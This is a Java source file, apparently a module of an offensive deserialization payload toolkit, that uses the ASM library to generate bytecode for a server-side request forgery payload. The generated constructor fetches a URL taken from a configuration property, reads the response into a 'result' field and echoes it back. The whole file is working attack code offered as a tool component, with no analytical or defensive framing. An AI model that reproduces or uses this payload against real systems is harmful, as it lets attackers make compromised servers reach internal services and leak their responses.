package org.su18.asm.payload;

import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.su18.utils.StringUtil;

public class SSRF implements Opcodes {

	public static void insert(String className, MethodVisitor mv) {
		Label label0 = new Label();
		Label label1 = new Label();
		Label label2 = new Label();
		mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
		Label label3 = new Label();
		mv.visitLabel(label3);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
		mv.visitLabel(label0);
		mv.visitLdcInsn(StringUtil.getCurrentPropertiesValue("ssrf.url"));
		mv.visitVarInsn(ASTORE, 1);
		Label label4 = new Label();
		mv.visitLabel(label4);
		mv.visitTypeInsn(NEW, "java/net/URL");
		mv.visitInsn(DUP);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitMethodInsn(INVOKESPECIAL, "java/net/URL", "<init>", "(Ljava/lang/String;)V", false);
		mv.visitVarInsn(ASTORE, 2);
		Label label5 = new Label();
		mv.visitLabel(label5);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/URL", "openConnection", "()Ljava/net/URLConnection;", false);
		mv.visitTypeInsn(CHECKCAST, "java/net/HttpURLConnection");
		mv.visitVarInsn(ASTORE, 3);
		Label label6 = new Label();
		mv.visitLabel(label6);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "setDoOutput", "(Z)V", false);
		Label label7 = new Label();
		mv.visitLabel(label7);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitLdcInsn("GET");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "setRequestMethod", "(Ljava/lang/String;)V", false);
		Label label8 = new Label();
		mv.visitLabel(label8);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitLdcInsn("Content-Type");
		mv.visitLdcInsn("application/x-www-form-urlencoded; charset=UTF-8");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "setRequestProperty", "(Ljava/lang/String;Ljava/lang/String;)V", false);
		Label label9 = new Label();
		mv.visitLabel(label9);
		mv.visitTypeInsn(NEW, "java/io/BufferedReader");
		mv.visitInsn(DUP);
		mv.visitTypeInsn(NEW, "java/io/InputStreamReader");
		mv.visitInsn(DUP);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "getInputStream", "()Ljava/io/InputStream;", false);
		mv.visitFieldInsn(GETSTATIC, "java/nio/charset/StandardCharsets", "UTF_8", "Ljava/nio/charset/Charset;");
		mv.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;Ljava/nio/charset/Charset;)V", false);
		mv.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
		mv.visitVarInsn(ASTORE, 4);
		Label label10 = new Label();
		mv.visitLabel(label10);
		mv.visitTypeInsn(NEW, "java/lang/StringBuilder");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
		mv.visitVarInsn(ASTORE, 6);
		Label label11 = new Label();
		mv.visitLabel(label11);
		mv.visitFrame(Opcodes.F_FULL, 7, new Object[]{className, "java/lang/String", "java/net/URL", "java/net/HttpURLConnection", "java/io/BufferedReader", Opcodes.TOP, "java/lang/StringBuilder"}, 0, new Object[]{});
		mv.visitVarInsn(ALOAD, 4);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
		mv.visitInsn(DUP);
		mv.visitVarInsn(ASTORE, 5);
		Label label12 = new Label();
		mv.visitLabel(label12);
		Label label13 = new Label();
		mv.visitJumpInsn(IFNULL, label13);
		Label label14 = new Label();
		mv.visitLabel(label14);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitLdcInsn("\n");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitInsn(POP);
		mv.visitJumpInsn(GOTO, label11);
		mv.visitLabel(label13);
		mv.visitFrame(Opcodes.F_FULL, 7, new Object[]{className, "java/lang/String", "java/net/URL", "java/net/HttpURLConnection", "java/io/BufferedReader", "java/lang/String", "java/lang/StringBuilder"}, 0, new Object[]{});
		mv.visitVarInsn(ALOAD, 3);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/net/HttpURLConnection", "disconnect", "()V", false);
		Label label15 = new Label();
		mv.visitLabel(label15);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitLabel(label1);
		Label label16 = new Label();
		mv.visitJumpInsn(GOTO, label16);
		mv.visitLabel(label2);
		mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 1, new Object[]{"java/lang/Exception"});
		mv.visitVarInsn(ASTORE, 1);
		Label label17 = new Label();
		mv.visitLabel(label17);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitLdcInsn("\u672a\u6210\u529f\u8fd4\u56de\u5185\u5bb9\uff01");
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitLabel(label16);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKEVIRTUAL, className, "echo", "()V", false);
		Label label18 = new Label();
		mv.visitLabel(label18);
		mv.visitInsn(RETURN);
		Label label19 = new Label();
		mv.visitLabel(label19);
		mv.visitLocalVariable("target", "Ljava/lang/String;", null, label4, label1, 1);
		mv.visitLocalVariable("url", "Ljava/net/URL;", null, label5, label1, 2);
		mv.visitLocalVariable("connection", "Ljava/net/HttpURLConnection;", null, label6, label1, 3);
		mv.visitLocalVariable("br", "Ljava/io/BufferedReader;", null, label10, label1, 4);
		mv.visitLocalVariable("line", "Ljava/lang/String;", null, label12, label1, 5);
		mv.visitLocalVariable("result2", "Ljava/lang/StringBuilder;", null, label11, label1, 6);
		mv.visitLocalVariable("ignored", "Ljava/lang/Exception;", null, label17, label16, 1);
		mv.visitLocalVariable("this", "L" + className + ";", null, label3, label19, 0);
	}

}
